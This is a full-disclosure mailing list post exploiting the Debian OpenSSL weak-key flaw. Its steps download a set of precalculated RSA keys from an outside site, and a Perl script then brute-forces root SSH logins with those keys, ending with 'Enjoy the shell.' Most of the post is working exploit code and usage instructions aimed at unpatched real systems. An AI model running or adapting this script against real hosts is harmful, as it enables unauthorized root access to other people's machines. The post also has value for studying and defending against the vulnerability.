debian-sploit.txt

`Hi full-disclosure,  
  
the debian openssl issue leads that there are only 65.536 possible ssh   
keys generated, cause the only entropy is the pid of the process   
generating the key.  
  
This leads to that the following perl script can be used with the   
precalculated ssh keys to brute force the ssh login. It works if such a   
keys is installed on a non-patched debian or any other system manual   
configured to.  
  
On an unpatched system, which doesn't need to be debian, do the following:  
  
1. Download http://www.deadbeef.de/rsa.2048.tar.bzip2  
  
2. Extract it to a directory  
  
3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048   
Bits, generated on an upatched debian (this is the key this exploit will   
break)  
  
4. Run the perl script and give it the location to where you extracted   
the bzip2 mentioned.  
  
#!/usr/bin/perl  
my $keysPerConnect = 6;  
unless ($ARGV[1]) {  
print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n";  
print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n";  
print "By [email protected]\n";  
exit 0;  
}  
chdir($ARGV[0]);  
opendir(A, $ARGV[0]) || die("opendir");  
while ($_ = readdir(A)) {  
chomp;  
next unless m,^\d+$,;  
push(@a, $_);  
if (scalar(@a) > $keysPerConnect) {  
system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i   
".$_ } @a)." ".$ARGV[1]);  
@a = ();  
}  
}  
  
5. Enjoy the shell after some minutes (less than 20 minutes)  
  
Regards,  
Markus Mueller  
[email protected]  
  
`